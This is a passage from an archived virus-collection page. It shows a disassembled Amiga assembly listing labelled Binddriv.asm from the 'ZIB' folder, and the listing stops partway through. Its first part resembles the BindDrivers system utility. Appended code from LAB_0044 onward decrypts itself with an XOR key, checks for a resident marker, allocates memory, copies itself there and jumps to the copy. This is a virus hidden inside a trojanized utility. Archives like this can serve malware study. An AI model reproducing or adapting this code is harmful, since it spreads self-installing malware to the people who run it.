home *** CD-ROM | disk | FTP | other *** search
/ telefisk.org / virusCollection.lzx / VirusCollectie / z / ZIB / Binddriv.asm < prev    next >
Assembly Source File  |  2005-05-23  |  28KB  |  1,063 lines

  1. ; IRA V1.02  (Sep  6 1993)  (c)1993  Tim Ruehsen
  2.  
  3.  
  4. ABSEXECBASE    EQU    $4
  5. EXT_0001    EQU    $C8DBDFCA
  6.  
  7.  
  8.  
  9.  
  10.     SECTION S_0,CODE
  11.  
  12. SECSTRT_0:
  13.     LINK    A5,#-320        ;000: 4E55FEC0
  14.     MOVEM.L    D2/D4-D7/A2-A3/A6,-(A7)    ;004: 48E72F32
  15.     MOVEA    #$0004,A0        ;008: 307C0004
  16.     MOVEA.L    (A0),A3            ;00C: 2650
  17.     MOVEA.L    A3,A0            ;00E: 204B
  18.     MOVEQ    #20,D6            ;010: 7C14
  19.     SUBA.L    A2,A2            ;012: 95CA
  20.     MOVE.L    A0,44(A7)        ;014: 2F48002C
  21.     SUBA.L    A1,A1            ;018: 93C9
  22.     MOVEA.L    A3,A6            ;01A: 2C4B
  23.     JSR    -294(A6)        ;01C: 4EAEFEDA
  24.     MOVEA.L    D0,A1            ;020: 2240
  25.     TST.L    172(A1)            ;022: 4AA900AC
  26.     BNE.S    LAB_0000        ;026: 661A
  27.     LEA    92(A1),A6        ;028: 4DE9005C
  28.     MOVE.L    A6,32(A7)        ;02C: 2F4E0020
  29.     MOVEA.L    A6,A0            ;030: 204E
  30.     MOVEA.L    A3,A6            ;032: 2C4B
  31.     JSR    -384(A6)        ;034: 4EAEFE80
  32.     MOVEA.L    32(A7),A0        ;038: 206F0020
  33.     JSR    -372(A6)        ;03C: 4EAEFE8C
  34.     MOVEA.L    D0,A2            ;040: 2440
  35. LAB_0000:
  36.     MOVE.L    A2,-304(A5)        ;042: 2B4AFED0
  37.     LEA    LAB_000C(PC),A1        ;046: 43FA01F2
  38.     MOVEQ    #37,D0            ;04A: 7025
  39.     JSR    -552(A6)        ;04C: 4EAEFDD8
  40.     MOVE.L    D0,LAB_007F        ;050: 23C0000009EC
  41.     BEQ    LAB_000A        ;056: 670001C4
  42.     LEA    LAB_000D(PC),A1        ;05A: 43FA01EA
  43.     MOVEQ    #37,D0            ;05E: 7025
  44.     JSR    -552(A6)        ;060: 4EAEFDD8
  45.     MOVE.L    D0,LAB_007E        ;064: 23C0000009E8
  46.     BEQ    LAB_0009        ;06A: 670001A4
  47.     LEA    LAB_000E(PC),A1        ;06E: 43FA01E8
  48.     MOVEQ    #37,D0            ;072: 7025
  49.     JSR    -552(A6)        ;074: 4EAEFDD8
  50.     MOVEA.L    D0,A2            ;078: 2440
  51.     MOVEA.L    A2,A0            ;07A: 204A
  52.     MOVE.L    A0,40(A7)        ;07C: 2F480028
  53.     MOVE.L    A2,D0            ;080: 200A
  54.     BEQ    LAB_0008        ;082: 67000180
  55.     MOVEQ    #5,D6            ;086: 7C05
  56.     LEA    LAB_000F(PC),A1        ;088: 43FA01DC
  57.     MOVE.L    A1,D1            ;08C: 2209
  58.     MOVEQ    #-2,D2            ;08E: 74FE
  59.     MOVEA.L    LAB_007F,A6        ;090: 2C79000009EC
  60.     JSR    -84(A6)            ;096: 4EAEFFAC
  61.     MOVE.L    D0,D7            ;09A: 2E00
  62.     TST.L    D7            ;09C: 4A87
  63.     BEQ    LAB_0007        ;09E: 67000158
  64.     MOVE.L    D7,D1            ;0A2: 2207
  65.     LEA    -284(A5),A0        ;0A4: 41EDFEE4
  66.     MOVE.L    A0,D2            ;0A8: 2408
  67.     JSR    -102(A6)        ;0AA: 4EAEFF9A
  68.     TST.L    D0            ;0AE: 4A80
  69.     BEQ    LAB_0006        ;0B0: 6700013A
  70.     MOVE.L    -280(A5),D0        ;0B4: 202DFEE8
  71.     TST.L    D0            ;0B8: 4A80
  72.     BLE    LAB_0006        ;0BA: 6F000130
  73.     MOVEA.L    LAB_007E,A6        ;0BE: 2C79000009E8
  74.     JSR    -120(A6)        ;0C4: 4EAEFF88
  75.     MOVEQ    #0,D6            ;0C8: 7C00
  76.     MOVE.L    D7,D1            ;0CA: 2207
  77.     MOVEA.L    LAB_007F,A6        ;0CC: 2C79000009EC
  78.     JSR    -126(A6)        ;0D2: 4EAEFF82
  79.     MOVE.L    D0,D5            ;0D6: 2A00
  80.     BRA    LAB_0005        ;0D8: 600000E4
  81. LAB_0001:
  82.     LEA    -276(A5),A0        ;0DC: 41EDFEEC
  83.     MOVEA.L    A0,A1            ;0E0: 2248
  84. LAB_0002:
  85.     TST.B    (A1)+            ;0E2: 4A19
  86.     BNE.S    LAB_0002        ;0E4: 66FC
  87.     SUBQ.L    #1,A1            ;0E6: 5389
  88.     SUBA.L    A0,A1            ;0E8: 93C8
  89.     MOVE.L    A1,D4            ;0EA: 2809
  90.     MOVEQ    #5,D0            ;0EC: 7005
  91.     CMP.L    D0,D4            ;0EE: B880
  92.     BLT    LAB_0005        ;0F0: 6D0000CC
  93.     LEA    -281(A5),A0        ;0F4: 41EDFEE7
  94.     ADDA.L    D4,A0            ;0F8: D1C4
  95.     MOVEA.L    A0,A3            ;0FA: 2648
  96.     MOVEA.L    A3,A0            ;0FC: 204B
  97.     LEA    LAB_0010(PC),A1        ;0FE: 43FA0174
  98.     JSR    LAB_003F(PC)        ;102: 4EBA03A0
  99.     TST.L    D0            ;106: 4A80
  100.     BNE    LAB_0005        ;108: 660000B4
  101.     CLR.B    (A3)            ;10C: 4213
  102.     LEA    -276(A5),A0        ;10E: 41EDFEEC
  103.     MOVEA.L    A2,A6            ;112: 2C4A
  104.     JSR    -78(A6)            ;114: 4EAEFFB2
  105.     MOVE.L    D0,36(A7)        ;118: 2F400024
  106.     TST.L    D0            ;11C: 4A80
  107.     BEQ    LAB_0005        ;11E: 6700009E
  108.     MOVEA.L    D0,A0            ;122: 2040
  109.     MOVEA.L    54(A0),A0        ;124: 20680036
  110.     LEA    LAB_0011(PC),A1        ;128: 43FA0150
  111.     JSR    -96(A6)            ;12C: 4EAEFFA0
  112.     MOVEA.L    D0,A2            ;130: 2440
  113.     MOVE.L    A2,D0            ;132: 200A
  114.     BEQ.S    LAB_0004        ;134: 677A
  115.     MOVEA.L    A2,A0            ;136: 204A
  116.     BSR    LAB_001A        ;138: 61000188
  117.     MOVEA.L    D0,A3            ;13C: 2640
  118.     MOVE.L    A3,D0            ;13E: 200B
  119.     BEQ.S    LAB_0004        ;140: 676E
  120.     LEA    -276(A5),A0        ;142: 41EDFEEC
  121.     MOVE.L    A0,D1            ;146: 2208
  122.     MOVEA.L    LAB_007F,A6        ;148: 2C79000009EC
  123.     JSR    -150(A6)        ;14E: 4EAEFF6A
  124.     MOVE.L    D0,D4            ;152: 2800
  125.     TST.L    D4            ;154: 4A84
  126.     BEQ.S    LAB_0004        ;156: 6758
  127.     MOVE.L    D4,D0            ;158: 2004
  128.     BSR    LAB_0013        ;15A: 61000126
  129.     MOVE.L    D0,32(A7)        ;15E: 2F400020
  130.     TST.L    D0            ;162: 4A80
  131.     BEQ.S    LAB_0003        ;164: 673E
  132.     MOVE.L    A2,-292(A5)        ;166: 2B4AFEDC
  133.     MOVEA.L    36(A7),A0        ;16A: 206F0024
  134.     MOVE.L    54(A0),-288(A5)        ;16E: 2B680036FEE0
  135.     LEA    -276(A5),A0        ;174: 41EDFEEC
  136.     MOVE.L    A0,-296(A5)        ;178: 2B48FED8
  137.     MOVE.L    A3,-300(A5)        ;17C: 2B4BFED4
  138.     LEA    -300(A5),A0        ;180: 41EDFED4
  139.     MOVEQ    #16,D0            ;184: 7010
  140.     MOVEA.L    LAB_007E,A6        ;186: 2C79000009E8
  141.     JSR    -132(A6)        ;18C: 4EAEFF7C
  142.     MOVEA.L    32(A7),A1        ;190: 226F0020
  143.     MOVE.L    D4,D1            ;194: 2204
  144.     MOVEA.L    44(A7),A6        ;196: 2C6F002C
  145.     JSR    -102(A6)        ;19A: 4EAEFF9A
  146.     TST.L    D0            ;19E: 4A80
  147.     BEQ.S    LAB_0003        ;1A0: 6702
  148.     MOVEQ    #0,D4            ;1A2: 7800
  149. LAB_0003:
  150.     MOVE.L    D4,D1            ;1A4: 2204
  151.     MOVEA.L    LAB_007F,A6        ;1A6: 2C79000009EC
  152.     JSR    -156(A6)        ;1AC: 4EAEFF64
  153. LAB_0004:
  154.     MOVEA.L    40(A7),A2        ;1B0: 246F0028
  155.     MOVEA.L    36(A7),A0        ;1B4: 206F0024
  156.     MOVEA.L    A2,A6            ;1B8: 2C4A
  157.     JSR    -90(A6)            ;1BA: 4EAEFFA6
  158. LAB_0005:
  159.     MOVE.L    D7,D1            ;1BE: 2207
  160.     LEA    -284(A5),A0        ;1C0: 41EDFEE4
  161.     MOVE.L    A0,D2            ;1C4: 2408
  162.     MOVEA.L    LAB_007F,A6        ;1C6: 2C79000009EC
  163.     JSR    -108(A6)        ;1CC: 4EAEFF94
  164.     TST.L    D0            ;1D0: 4A80
  165.     BNE    LAB_0001        ;1D2: 6600FF08
  166.     MOVE.L    D5,D1            ;1D6: 2205
  167.     MOVEA.L    LAB_007F,A6        ;1D8: 2C79000009EC
  168.     JSR    -126(A6)        ;1DE: 4EAEFF82
  169.     MOVEA.L    LAB_007E,A6        ;1E2: 2C79000009E8
  170.     JSR    -126(A6)        ;1E8: 4EAEFF82
  171. LAB_0006:
  172.     MOVE.L    D7,D1            ;1EC: 2207
  173.     MOVEA.L    LAB_007F,A6        ;1EE: 2C79000009EC
  174.     JSR    -90(A6)            ;1F4: 4EAEFFA6
  175. LAB_0007:
  176.     MOVEA.L    44(A7),A3        ;1F8: 266F002C
  177.     MOVEA.L    A2,A1            ;1FC: 224A
  178.     MOVEA.L    A3,A6            ;1FE: 2C4B
  179.     JSR    -414(A6)        ;200: 4EAEFE62
  180. LAB_0008:
  181.     MOVEA.L    LAB_007E,A1        ;204: 2279000009E8
  182.     MOVEA.L    A3,A6            ;20A: 2C4B
  183.     JSR    -414(A6)        ;20C: 4EAEFE62
  184. LAB_0009:
  185.     MOVEA.L    LAB_007F,A1        ;210: 2279000009EC
  186.     MOVEA.L    A3,A6            ;216: 2C4B
  187.     JSR    -414(A6)        ;218: 4EAEFE62
  188. LAB_000A:
  189.     MOVEA.L    -304(A5),A2        ;21C: 246DFED0
  190.     MOVE.L    A2,D0            ;220: 200A
  191.     BEQ.S    LAB_000B        ;222: 670C
  192.     MOVEA.L    A3,A6            ;224: 2C4B
  193.     JSR    -132(A6)        ;226: 4EAEFF7C
  194.     MOVEA.L    A2,A1            ;22A: 224A
  195.     JSR    -378(A6)        ;22C: 4EAEFE86
  196. LAB_000B:
  197.     MOVE.L    D6,D0            ;230: 2006
  198.     MOVEM.L    (A7)+,D2/D4-D7/A2-A3/A6    ;232: 4CDF4CF4
  199.     UNLK    A5            ;236: 4E5D
  200.     RTS                ;238: 4E75
  201. LAB_000C:
  202.     DC.W    $646F            ;23A
  203.     DC.W    $732E            ;23C
  204.     DC.W    $6C69            ;23E
  205.     BHI.S    LAB_0016        ;240: 6272
  206.     BSR.S    LAB_0017        ;242: 6172
  207.     DC.W    $7900            ;244
  208. LAB_000D:
  209.     BCS.S    LAB_0019        ;246: 6578
  210.     MOVEQ    #97,D0            ;248: 7061
  211.     DC.W    $6E73            ;24A
  212.     DC.W    $696F            ;24C
  213.     BGT.S    LAB_0012        ;24E: 6E2E
  214.     DC.W    $6C69            ;250
  215.     BHI.S    LAB_001B        ;252: 6272
  216.     BSR.S    LAB_001B+2        ;254: 6172
  217.     DC.W    $7900            ;256
  218. LAB_000E:
  219.     DC.W    $6963            ;258
  220.     BLE.S    LAB_001D        ;25A: 6F6E
  221.     MOVEA.L    26978(A4),A7        ;25C: 2E6C6962
  222.     MOVEQ    #97,D1            ;260: 7261
  223.     MOVEQ    #121,D1            ;262: 7279
  224.     DC.W    $0000            ;264
  225. LAB_000F:
  226.     SUBQ    #1,(A1)+        ;266: 5359
  227.     DC.W    $533A            ;268
  228.     DC.W    $4578            ;26A
  229.     MOVEQ    #97,D0            ;26C: 7061
  230.     DC.W    $6E73            ;26E
  231.     DC.W    $696F            ;270
  232.     DC.W    $6E00            ;272
  233. LAB_0010:
  234.     MOVEA.L    28262(A1),A7        ;274: 2E696E66
  235.     DC.W    $6F00            ;278
  236. LAB_0011:
  237.     ADDQ    #8,(A2)            ;27A: 5052
  238.     DC.W    $4F44            ;27C
  239. LAB_0012:
  240.     SUBQ    #2,D3            ;27E: 5543
  241.     ADDQ.B    #2,D0            ;280: 5400
  242. LAB_0013:
  243.     MOVEM.L    D7/A3,-(A7)        ;282: 48E70110
  244.     MOVE.L    D0,D7            ;286: 2E00
  245.     MOVE.L    D7,D0            ;288: 2007
  246.     ASL.L    #2,D0            ;28A: E580
  247.     MOVEA.L    D0,A0            ;28C: 2040
  248.     MOVE.L    -4(A0),D7        ;28E: 2E28FFFC
  249.     SUBQ.L    #8,D7            ;292: 5187
  250.     LEA    4(A0),A3        ;294: 47E80004
  251.     BRA.S    LAB_0016        ;298: 601A
  252. LAB_0014:
  253.     CMPI    #$4AFC,(A3)        ;29A: 0C534AFC
  254.     BNE.S    LAB_0015        ;29E: 660C
  255.     MOVEA.L    2(A3),A0        ;2A0: 206B0002
  256.     CMPA.L    A3,A0            ;2A4: B1CB
  257.     BNE.S    LAB_0015        ;2A6: 6604
  258.     MOVE.L    A3,D0            ;2A8: 200B
  259.     BRA.S    LAB_0018        ;2AA: 6010
  260. LAB_0015:
  261.     SUBQ.L    #2,D7            ;2AC: 5587
  262.     MOVE.L    A3,D0            ;2AE: 200B
  263.     ADDQ.L    #2,D0            ;2B0: 5480
  264.     MOVEA.L    D0,A3            ;2B2: 2640
  265. LAB_0016:
  266.     MOVEQ    #26,D0            ;2B4: 701A
  267. LAB_0017:
  268.     CMP.L    D0,D7            ;2B6: BE80
  269.     BHI.S    LAB_0014        ;2B8: 62E0
  270.     MOVEQ    #0,D0            ;2BA: 7000
  271. LAB_0018:
  272.     MOVEM.L    (A7)+,D7/A3        ;2BC: 4CDF0880
  273. LAB_0019:
  274.     RTS                ;2C0: 4E75
  275. LAB_001A:
  276.     LINK    A5,#-12            ;2C2: 4E55FFF4
  277. LAB_001B:
  278.     MOVEM.L    D7/A2-A3,-(A7)        ;2C6: 48E70130
  279. LAB_001D:
  280.     MOVEA.L    A0,A3            ;2CA: 2648
  281.     CLR.L    -12(A5)            ;2CC: 42ADFFF4
  282. LAB_001E:
  283.     MOVEQ    #124,D0            ;2D0: 707C
  284.     MOVEA.L    A3,A0            ;2D2: 204B
  285.     BSR    LAB_0037        ;2D4: 61000174
  286.     MOVEA.L    D0,A2            ;2D8: 2440
  287.     MOVE.L    A2,D0            ;2DA: 200A
  288.     BEQ.S    LAB_001F        ;2DC: 670C
  289.     MOVE.L    A2,D0            ;2DE: 200A
  290.     MOVE.L    A3,D1            ;2E0: 220B
  291.     SUB.L    D1,D0            ;2E2: 9081
  292.     MOVE.L    D0,D7            ;2E4: 2E00
  293.     ADDQ.L    #1,A2            ;2E6: 528A
  294.     BRA.S    LAB_0021        ;2E8: 600C
  295. LAB_001F:
  296.     MOVEA.L    A3,A0            ;2EA: 204B
  297. LAB_0020:
  298.     TST.B    (A0)+            ;2EC: 4A18
  299.     BNE.S    LAB_0020        ;2EE: 66FC
  300.     SUBQ.L    #1,A0            ;2F0: 5388
  301.     SUBA.L    A3,A0            ;2F2: 91CB
  302.     MOVE.L    A0,D7            ;2F4: 2E08
  303. LAB_0021:
  304.     MOVE.L    D7,D0            ;2F6: 2007
  305.     MOVEA.L    -12(A5),A0        ;2F8: 206DFFF4
  306.     MOVEA.L    A3,A1            ;2FC: 224B
  307.     BSR    LAB_0022        ;2FE: 61000018
  308.     MOVE.L    D0,-12(A5)        ;302: 2B40FFF4
  309.     MOVEA.L    A2,A3            ;306: 264A
  310.     MOVE.L    A2,D0            ;308: 200A
  311.     BNE.S    LAB_001E        ;30A: 66C4
  312.     MOVE.L    -12(A5),D0        ;30C: 202DFFF4
  313.     MOVEM.L    (A7)+,D7/A2-A3        ;310: 4CDF0C80
  314.     UNLK    A5            ;314: 4E5D
  315.     RTS                ;316: 4E75
  316. LAB_0022:
  317.     LINK    A5,#-20            ;318: 4E55FFEC
  318.     MOVEM.L    D2/D6-D7/A2-A3/A6,-(A7)    ;31C: 48E72332
  319.     MOVEA.L    A1,A3            ;320: 2649
  320.     MOVE.L    D0,D7            ;322: 2E00
  321.     MOVE.L    A0,-20(A5)        ;324: 2B48FFEC
  322.     MOVEQ    #47,D0            ;328: 702F
  323.     MOVE.L    D7,D1            ;32A: 2207
  324.     MOVEA.L    A3,A0            ;32C: 204B
  325.     BSR    LAB_003D        ;32E: 6100013E
  326.     MOVEA.L    D0,A2            ;332: 2440
  327.     MOVE.L    A2,D0            ;334: 200A
  328.     BEQ.S    LAB_0023        ;336: 670C
  329.     MOVE.L    A2,D0            ;338: 200A
  330.     MOVE.L    A3,D1            ;33A: 220B
  331.     SUB.L    D1,D0            ;33C: 9081
  332.     MOVE.L    D0,D6            ;33E: 2C00
  333.     ADDQ.L    #1,A2            ;340: 528A
  334.     BRA.S    LAB_0024        ;342: 6002
  335. LAB_0023:
  336.     MOVE.L    D7,D6            ;344: 2C07
  337. LAB_0024:
  338.     MOVE.L    D6,D0            ;346: 2006
  339.     MOVEA.L    A3,A0            ;348: 204B
  340.     BSR    LAB_0032        ;34A: 610000CC
  341.     TST    D0            ;34E: 4A40
  342.     BEQ.S    LAB_0025        ;350: 6704
  343.     MOVEQ    #0,D0            ;352: 7000
  344.     BRA.S    LAB_0029        ;354: 6054
  345. LAB_0025:
  346.     MOVE.L    A3,D1            ;356: 220B
  347.     LEA    -12(A5),A0        ;358: 41EDFFF4
  348.     MOVE.L    A0,D2            ;35C: 2408
  349.     MOVEA.L    LAB_007F,A6        ;35E: 2C79000009EC
  350.     JSR    -816(A6)        ;364: 4EAEFCD0
  351.     MOVE.L    A2,D0            ;368: 200A
  352.     BEQ.S    LAB_0027        ;36A: 6728
  353.     MOVE.L    D7,D0            ;36C: 2007
  354.     SUB.L    D6,D0            ;36E: 9086
  355.     SUBQ.L    #1,D0            ;370: 5380
  356.     MOVEA.L    A2,A0            ;372: 204A
  357.     BSR    LAB_0032        ;374: 610000A2
  358.     TST    D0            ;378: 4A40
  359.     BEQ.S    LAB_0026        ;37A: 6704
  360.     MOVEQ    #0,D0            ;37C: 7000
  361.     BRA.S    LAB_0029        ;37E: 602A
  362. LAB_0026:
  363.     MOVE.L    A2,D1            ;380: 220A
  364.     LEA    -16(A5),A0        ;382: 41EDFFF0
  365.     MOVE.L    A0,D2            ;386: 2408
  366.     MOVEA.L    LAB_007F,A6        ;388: 2C79000009EC
  367.     JSR    -816(A6)        ;38E: 4EAEFCD0
  368.     BRA.S    LAB_0028        ;392: 6006
  369. LAB_0027:
  370.     MOVEQ    #-1,D0            ;394: 70FF
  371.     MOVE.L    D0,-16(A5)        ;396: 2B40FFF0
  372. LAB_0028:
  373.     MOVE.L    -12(A5),D0        ;39A: 202DFFF4
  374.     MOVE.L    -16(A5),D1        ;39E: 222DFFF0
  375.     MOVEA.L    -20(A5),A0        ;3A2: 206DFFEC
  376.     BSR    LAB_002F        ;3A6: 6100002C
  377. LAB_0029:
  378.     MOVEM.L    (A7)+,D2/D6-D7/A2-A3/A6    ;3AA: 4CDF4CC4
  379.     UNLK    A5            ;3AE: 4E5D
  380.     RTS                ;3B0: 4E75
  381. LAB_002A:
  382.     MOVEM.L    A2-A3,-(A7)        ;3B2: 48E70030
  383.     MOVEA.L    A0,A3            ;3B6: 2648
  384.     MOVEA.L    A1,A2            ;3B8: 2449
  385.     BRA.S    LAB_002D        ;3BA: 600C
  386. LAB_002B:
  387.     CMPA.L    A2,A3            ;3BC: B7CA
  388.     BNE.S    LAB_002C        ;3BE: 6604
  389.     MOVEQ    #1,D0            ;3C0: 7001
  390.     BRA.S    LAB_002E        ;3C2: 600A
  391. LAB_002C:
  392.     MOVEA.L    48(A3),A3        ;3C4: 266B0030
  393. LAB_002D:
  394.     MOVE.L    A3,D0            ;3C8: 200B
  395.     BNE.S    LAB_002B        ;3CA: 66F0
  396.     MOVEQ    #0,D0            ;3CC: 7000
  397. LAB_002E:
  398.     MOVEM.L    (A7)+,A2-A3        ;3CE: 4CDF0C00
  399.     RTS                ;3D2: 4E75
  400. LAB_002F:
  401.     MOVEM.L    D6-D7/A2-A3/A6,-(A7)    ;3D4: 48E70332
  402.     MOVEA.L    A0,A3            ;3D8: 2648
  403.     MOVE.L    D0,D7            ;3DA: 2E00
  404.     MOVE.L    D1,D6            ;3DC: 2C01
  405.     SUBA.L    A2,A2            ;3DE: 95CA
  406.     BRA.S    LAB_0031        ;3E0: 6018
  407. LAB_0030:
  408.     BTST    #1,14(A2)        ;3E2: 082A0001000E
  409.     BEQ.S    LAB_0031        ;3E8: 6710
  410.     MOVEA.L    A3,A0            ;3EA: 204B
  411.     MOVEA.L    A2,A1            ;3EC: 224A
  412.     BSR.S    LAB_002A        ;3EE: 61C2
  413.     TST    D0            ;3F0: 4A40
  414.     BNE.S    LAB_0031        ;3F2: 6606
  415.     MOVE.L    A3,48(A2)        ;3F4: 254B0030
  416.     MOVEA.L    A2,A3            ;3F8: 264A
  417. LAB_0031:
  418.     MOVEA.L    A2,A0            ;3FA: 204A
  419.     MOVE.L    D7,D0            ;3FC: 2007
  420.     MOVE.L    D6,D1            ;3FE: 2206
  421.     MOVEA.L    LAB_007E,A6        ;400: 2C79000009E8
  422.     JSR    -72(A6)            ;406: 4EAEFFB8
  423.     MOVEA.L    D0,A2            ;40A: 2440
  424.     MOVE.L    A2,D0            ;40C: 200A
  425.     BNE.S    LAB_0030        ;40E: 66D2
  426.     MOVE.L    A3,D0            ;410: 200B
  427.     MOVEM.L    (A7)+,D6-D7/A2-A3/A6    ;412: 4CDF4CC0
  428.     RTS                ;416: 4E75
  429. LAB_0032:
  430.     MOVEM.L    D7/A3,-(A7)        ;418: 48E70110
  431.     MOVEA.L    A0,A3            ;41C: 2648
  432.     MOVE.L    D0,D7            ;41E: 2E00
  433.     TST.L    D7            ;420: 4A87
  434.     BNE.S    LAB_0035        ;422: 6616
  435.     MOVEQ    #1,D0            ;424: 7001
  436.     BRA.S    LAB_0036        ;426: 601C
  437. LAB_0033:
  438.     MOVE.B    (A3)+,D0        ;428: 101B
  439.     MOVEQ    #48,D1            ;42A: 7230
  440.     CMP.B    D1,D0            ;42C: B001
  441.     BLT.S    LAB_0034        ;42E: 6D06
  442.     MOVEQ    #57,D1            ;430: 7239
  443.     CMP.B    D1,D0            ;432: B001
  444.     BLE.S    LAB_0035        ;434: 6F04
  445. LAB_0034:
  446.     MOVEQ    #1,D0            ;436: 7001
  447.     BRA.S    LAB_0036        ;438: 600A
  448. LAB_0035:
  449.     MOVE.L    D7,D0            ;43A: 2007
  450.     SUBQ.L    #1,D7            ;43C: 5387
  451.     TST.L    D0            ;43E: 4A80
  452.     BGT.S    LAB_0033        ;440: 6EE6
  453.     MOVEQ    #0,D0            ;442: 7000
  454. LAB_0036:
  455.     MOVEM.L    (A7)+,D7/A3        ;444: 4CDF0880
  456.     RTS                ;448: 4E75
  457. LAB_0037:
  458.     MOVEM.L    D7/A3,-(A7)        ;44A: 48E70110
  459.     MOVEA.L    A0,A3            ;44E: 2648
  460.     MOVE.L    D0,D7            ;450: 2E00
  461.     BRA.S    LAB_0039        ;452: 6002
  462. LAB_0038:
  463.     ADDQ.L    #1,A3            ;454: 528B
  464. LAB_0039:
  465.     MOVE.B    (A3),D0            ;456: 1013
  466.     BEQ.S    LAB_003A        ;458: 6704
  467.     CMP.B    D7,D0            ;45A: B007
  468.     BNE.S    LAB_0038        ;45C: 66F6
  469. LAB_003A:
  470.     TST.B    (A3)            ;45E: 4A13
  471.     BNE.S    LAB_003B        ;460: 6604
  472.     MOVEQ    #0,D0            ;462: 7000
  473.     BRA.S    LAB_003C        ;464: 6002
  474. LAB_003B:
  475.     MOVE.L    A3,D0            ;466: 200B
  476. LAB_003C:
  477.     MOVEM.L    (A7)+,D7/A3        ;468: 4CDF0880
  478.     BRA.S    LAB_0044        ;46C: 606A
  479. LAB_003D:
  480.     LINK    A5,#-8            ;46E: 4E55FFF8
  481.     MOVEM.L    D6-D7/A3,-(A7)        ;472: 48E70310
  482.     MOVEA.L    A0,A3            ;476: 2648
  483.     MOVE.L    D0,D7            ;478: 2E00
  484.     MOVE.L    D1,D6            ;47A: 2C01
  485.     MOVE.L    D7,D0            ;47C: 2007
  486.     EXT    D0            ;47E: 4880
  487.     EXT.L    D0            ;480: 48C0
  488.     MOVEA.L    A3,A0            ;482: 204B
  489.     MOVE.L    A0,16(A7)        ;484: 2F480010
  490.     BSR.S    LAB_0037        ;488: 61C0
  491.     MOVEA.L    D0,A3            ;48A: 2640
  492.     MOVEA.L    16(A7),A0        ;48C: 206F0010
  493.     ADDA.L    D6,A0            ;490: D1C6
  494.     CMPA.L    A0,A3            ;492: B7C8
  495.     BLS.S    LAB_003E        ;494: 6302
  496.     SUBA.L    A3,A3            ;496: 97CB
  497. LAB_003E:
  498.     MOVE.L    A3,D0            ;498: 200B
  499.     MOVEM.L    (A7)+,D6-D7/A3        ;49A: 4CDF08C0
  500.     UNLK    A5            ;49E: 4E5D
  501.     BRA.S    LAB_0044        ;4A0: 6036
  502.     DC.W    $0000            ;4A2
  503. LAB_003F:
  504.     MOVEQ    #0,D0            ;4A4: 7000
  505.     MOVEQ    #0,D1            ;4A6: 7200
  506. LAB_0040:
  507.     MOVE.B    (A0)+,D0        ;4A8: 1018
  508.     MOVE.B    (A1)+,D1        ;4AA: 1219
  509.     CMPI.B    #$61,D0            ;4AC: 0C000061
  510.     BLT.S    LAB_0041        ;4B0: 6D0A
  511.     CMPI.B    #$7A,D0            ;4B2: 0C00007A
  512.     BGT.S    LAB_0041        ;4B6: 6E04
  513.     SUBI.B    #$20,D0            ;4B8: 04000020
  514. LAB_0041:
  515.     CMPI.B    #$61,D1            ;4BC: 0C010061
  516.     BLT.S    LAB_0042        ;4C0: 6D0A
  517.     CMPI.B    #$7A,D1            ;4C2: 0C01007A
  518.     BGT.S    LAB_0042        ;4C6: 6E04
  519.     SUBI.B    #$20,D1            ;4C8: 04010020
  520. LAB_0042:
  521.     SUB.L    D1,D0            ;4CC: 9081
  522.     BNE.S    LAB_0043        ;4CE: 6604
  523.     TST.B    D1            ;4D0: 4A01
  524.     BNE.S    LAB_0040        ;4D2: 66D4
  525. LAB_0043:
  526.     BRA.S    LAB_0044        ;4D4: 6002
  527.     DC.W    $0000            ;4D6
  528. LAB_0044:
  529.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;4D8: 48E7FFFE
  530.     BSR.S    LAB_0045        ;4DC: 6108
  531.     BSR.S    LAB_0049        ;4DE: 613E
  532.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;4E0: 4CDF7FFF
  533.     RTS                ;4E4: 4E75
  534. LAB_0045:
  535.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;4E6: 48E7FFFE
  536.     LEA    LAB_0076(PC),A0        ;4EA: 41FA0422
  537.     DC.W    $43FA            ;4EE
  538.     DC.W    $04D4            ;4F0
  539. LAB_0046:
  540.     EORI    #$BABE,(A0)+        ;4F2: 0A58BABE
  541.     CMPA.L    A0,A1            ;4F6: B3C8
  542.     BNE.S    LAB_0046        ;4F8: 66F8
  543.     MOVEA.L    (ABSEXECBASE).W,A6    ;4FA: 2C780004
  544.     JSR    -636(A6)        ;4FE: 4EAEFD84
  545.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;502: 4CDF7FFF
  546.     RTS                ;506: 4E75
  547. LAB_0047:
  548.     MOVEM.L    D1-D7/A0-A6,-(A7)    ;508: 48E77FFE
  549.     MOVE.L    #$00050001,D1        ;50C: 223C00050001
  550.     JSR    -684(A6)        ;512: 4EAEFD54
  551.     MOVEM.L    (A7)+,D1-D7/A0-A6    ;516: 4CDF7FFE
  552.     TST.L    D0            ;51A: 4A80
  553. LAB_0048:
  554.     RTS                ;51C: 4E75
  555. LAB_0049:
  556.     MOVEA.L    (ABSEXECBASE).W,A6    ;51E: 2C780004
  557. LAB_004A:
  558.     CMPI.L    #$54525369,514(A6)    ;522: 0CAE545253690202
  559.     BEQ.S    LAB_0048        ;52A: 67F0
  560.     MOVE.L    #$00000200,D0        ;52C: 203C00000200
  561.     BSR.S    LAB_0047        ;532: 61D4
  562.     BEQ.S    LAB_0048        ;534: 67E6
  563.     LEA    LAB_0044(PC),A1        ;536: 43FAFFA0
  564.     MOVE.L    D0,1062(A1)        ;53A: 23400426
  565.     MOVE.L    #$00000522,D0        ;53E: 203C00000522
  566.     BSR.S    LAB_0047        ;544: 61C2
  567.     BEQ.S    LAB_0048        ;546: 67D4
  568.     MOVEA.L    D0,A0            ;548: 2040
  569.     MOVE    #$04EB,D1        ;54A: 323C04EB
  570. LAB_004B:
  571.     MOVE.B    (A1)+,(A0)+        ;54E: 10D9
  572.     DBF    D1,LAB_004B        ;550: 51C9FFFC
  573.     MOVEA.L    D0,A0            ;554: 2040
  574.     PEA    134(A0)            ;556: 48680086
  575.     JMP    -636(A6)        ;55A: 4EEEFD84
  576.     LEA    LAB_0075(PC),A1        ;55E: 43FA03A2
  577.     MOVE.L    #$10020019,198(A1)    ;562: 237C1002001900C6
  578.     MOVEQ    #37,D0            ;56A: 7025
  579.     JSR    -552(A6)        ;56C: 4EAEFDD8
  580.     TST.L    D0            ;570: 4A80
  581.     BEQ.S    LAB_0048        ;572: 67A8
  582.     DC.W    $43FA            ;574
  583.     DC.W    $044E            ;576
  584.     MOVE.L    D0,(A1)            ;578: 2280
  585.     MOVEA.L    D0,A2            ;57A: 2440
